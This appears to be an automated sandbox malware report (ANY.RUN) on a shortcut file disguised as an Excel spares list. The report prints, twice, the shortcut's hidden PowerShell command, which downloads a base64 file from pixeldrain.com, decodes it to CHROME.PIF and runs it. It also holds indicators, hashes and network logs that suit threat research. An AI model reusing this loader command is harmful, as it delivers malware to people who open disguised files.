Malware analysis DRY DOCK SPARES LIST,XLS.LNK Malicious activity

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File name:	DRY DOCK SPARES LIST,XLS.LNK
Full analysis:	https://app.any.run/tasks/4804bbe9-ba25-4b47-a042-08f9b9de9a02
Verdict:	Malicious activity
Analysis date:	May 15, 2025, 14:34:03
OS:	Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME:	application/x-ms-shortcut
File info:	MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=0, Unicoded, HasExpIcon "%SystemDrive%\\Program Files\\Windows NT\\Accessories\\wordpad.exe", length=0, window=normal, IDListSize 0x020d, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\"
MD5:	1626A0D291B3A6728A22D23532F095A3
SHA1:	CEA19389132934D94B4027CBF20C12A95E92506B
SHA256:	3E3DFF88B9CC9CB8FC1AA435273015C25EC29FFA735903CE44B9FC8E49358128
SSDEEP:	3072:L9Qhwz779F1wujtFcyR0ruvmaqrZrI2BGO/Arss3x2v0W1N/CfFLCC/QDOXiFIFt:L9Qwdr3CF/l3A4s3x2D1CfFmCjSE5lN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 120 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- Run PowerShell with an invisible window
  - powershell.exe (PID: 5960)
- Script downloads file (POWERSHELL)
  - powershell.exe (PID: 5960)
SUSPICIOUS
- Likely accesses (executes) a file from the Public directory
  - powershell.exe (PID: 5960)
- Uses base64 encoding (POWERSHELL)
  - powershell.exe (PID: 5960)
- Gets content of a file (POWERSHELL)
  - powershell.exe (PID: 5960)
INFO
- Disables trace logs
  - powershell.exe (PID: 5960)
- Checks proxy server information
  - powershell.exe (PID: 5960)
- Script raised an exception (POWERSHELL)
  - powershell.exe (PID: 5960)
- Remote server returned an error (POWERSHELL)
  - powershell.exe (PID: 5960)
- Reads the software policy settings
  - slui.exe (PID: 5720)

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No Malware configuration.

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TRiD

.lnk	\|	Windows Shortcut (100)

EXIF

LNK

Flags:	IDList, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes:	(none)
TargetFileSize:	-
IconIndex:	(none)
RunWindow:	Normal
HotKey:	(none)
TargetFileDOSName:	powershell.exe
Description:	Type: Text Document
RelativePath:	..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLineArguments:	-WindowStyle hidden -noLogo -Command -NoExit (new-object System.Net.WebClient).DownloadFile('https://pixeldrain.com/api/file/tQyNKac6?download','C:\\Users\\Public\\png'); $file = 'C:\\Users\\Public\\png'; [System.Convert]::FromBase64String((Get-Content $file)) \| Set-Content C:\\Users\\Public\\CHROME.PIF -Encoding Byte; start C:\\Users\\Public\\CHROME.PIF;
IconFileName:	C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe

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Total processes

136

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

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Process information

PID

CMD

Path

Indicators

Parent process

4180

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

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powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

4424

C:\WINDOWS\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\SppExtComObj.Exe

—

svchost.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

KMS Connection Broker

Version:

10.0.19041.3996 (WinBuild.160101.0800)

5720

"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent

C:\Windows\System32\slui.exe

SppExtComObj.Exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows Activation Client

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\msxml6.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\ondemandconnroutehelper.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\nsi.dll
c:\windows\system32\dhcpcsvc6.dll
c:\windows\system32\dhcpcsvc.dll
c:\windows\system32\webio.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\winnsi.dll

5960

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -noLogo -Command -NoExit (new-object System.Net.WebClient).DownloadFile('https://pixeldrain.com/api/file/tQyNKac6?download','C:\\Users\\Public\\png'); $file = 'C:\\Users\\Public\\png'; [System.Convert]::FromBase64String((Get-Content $file)) | Set-Content C:\\Users\\Public\\CHROME.PIF -Encoding Byte; start C:\\Users\\Public\\CHROME.PIF;

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

6516

C:\WINDOWS\System32\slui.exe -Embedding

C:\Windows\System32\slui.exe

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svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Activation Client

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

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Total events

6 001

Read events

6 001

Write events

Delete events

Modification events

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
5960	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LNDPSMHYO6Y3B3ZWTQHN.temp		binary
		MD5:5818D0105E9A691C0834AEC20E4543B0	SHA256:6562B00D290651AB8C7E84302884FAD3843E634F78DDB1E7661CE44786822E5A
5960	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_yl3t1jn3.1v0.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5960	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6836fb830e4d788f.customDestinations-ms		binary
		MD5:5818D0105E9A691C0834AEC20E4543B0	SHA256:6562B00D290651AB8C7E84302884FAD3843E634F78DDB1E7661CE44786822E5A
5960	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kcwn5y33.jwq.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5960	powershell.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive		binary
		MD5:34B73EC9C16CADFEF961028CD35028E0	SHA256:99515CA34700435AF59FF4A6AF60A90E1692E4705C734DAFBB604999B3FAC842

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
5496	MoUsoCoreWorker.exe	GET	200	2.23.246.101:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
5496	MoUsoCoreWorker.exe	GET	200	23.48.23.189:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
1512	SIHClient.exe	GET	200	23.52.120.96:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
6544	svchost.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
1512	SIHClient.exe	GET	200	23.52.120.96:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	20.73.194.208:443	—	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
5496	MoUsoCoreWorker.exe	23.48.23.189:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
5496	MoUsoCoreWorker.exe	2.23.246.101:80	www.microsoft.com	Ooredoo Q.S.C.	QA	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
3216	svchost.exe	172.211.123.248:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	FR	whitelisted
5960	powershell.exe	203.23.179.11:443	pixeldrain.com	GSL Networks Pty LTD	DE	whitelisted
6544	svchost.exe	20.190.160.64:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
6544	svchost.exe	2.17.190.73:80	ocsp.digicert.com	AKAMAI-AS	DE	whitelisted
2104	svchost.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4	System	192.168.100.255:137	—	—	—	whitelisted

DNS requests

Domain	IP	Reputation
crl.microsoft.com	23.48.23.189 23.48.23.193 23.48.23.171 23.48.23.144 23.48.23.190 23.48.23.139 23.48.23.169 23.48.23.195 23.48.23.175	whitelisted
www.microsoft.com	2.23.246.101 23.52.120.96	whitelisted
google.com	142.250.185.110	whitelisted
client.wns.windows.com	172.211.123.248	whitelisted
pixeldrain.com	203.23.179.11 203.23.179.10 203.23.179.12	whitelisted
login.live.com	20.190.160.64 40.126.32.74 40.126.32.136 20.190.160.5 40.126.32.133 20.190.160.65 20.190.160.66 20.190.160.14	whitelisted
ocsp.digicert.com	2.17.190.73	whitelisted
settings-win.data.microsoft.com	4.231.128.59	whitelisted
slscr.update.microsoft.com	20.109.210.53 20.12.23.50	whitelisted
fe3cr.delivery.mp.microsoft.com	13.95.31.18	whitelisted

Threats

PID	Process	Class	Message
2196	svchost.exe	Misc activity	ET FILE_SHARING File Sharing Related Domain in DNS Lookup (pixeldrain .com)
5960	powershell.exe	Misc activity	ET FILE_SHARING File Sharing Domain Observed in TLS SNI (pixeldrain .com)

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General Info

DRY DOCK SPARES LIST,XLS.LNK

1626A0D291B3A6728A22D23532F095A3

CEA19389132934D94B4027CBF20C12A95E92506B

3E3DFF88B9CC9CB8FC1AA435273015C25EC29FFA735903CE44B9FC8E49358128

3072:L9Qhwz779F1wujtFcyR0ruvmaqrZrI2BGO/Arss3x2v0W1N/CfFLCC/QDOXiFIFt:L9Qwdr3CF/l3A4s3x2D1CfFmCjSE5lN

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Run PowerShell with an invisible window

Script downloads file (POWERSHELL)

SUSPICIOUS

Likely accesses (executes) a file from the Public directory

Uses base64 encoding (POWERSHELL)

Gets content of a file (POWERSHELL)

INFO

Disables trace logs

Checks proxy server information

Script raised an exception (POWERSHELL)

Remote server returned an error (POWERSHELL)

Reads the software policy settings

Malware configuration

Static information

TRiD

EXIF

LNK

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings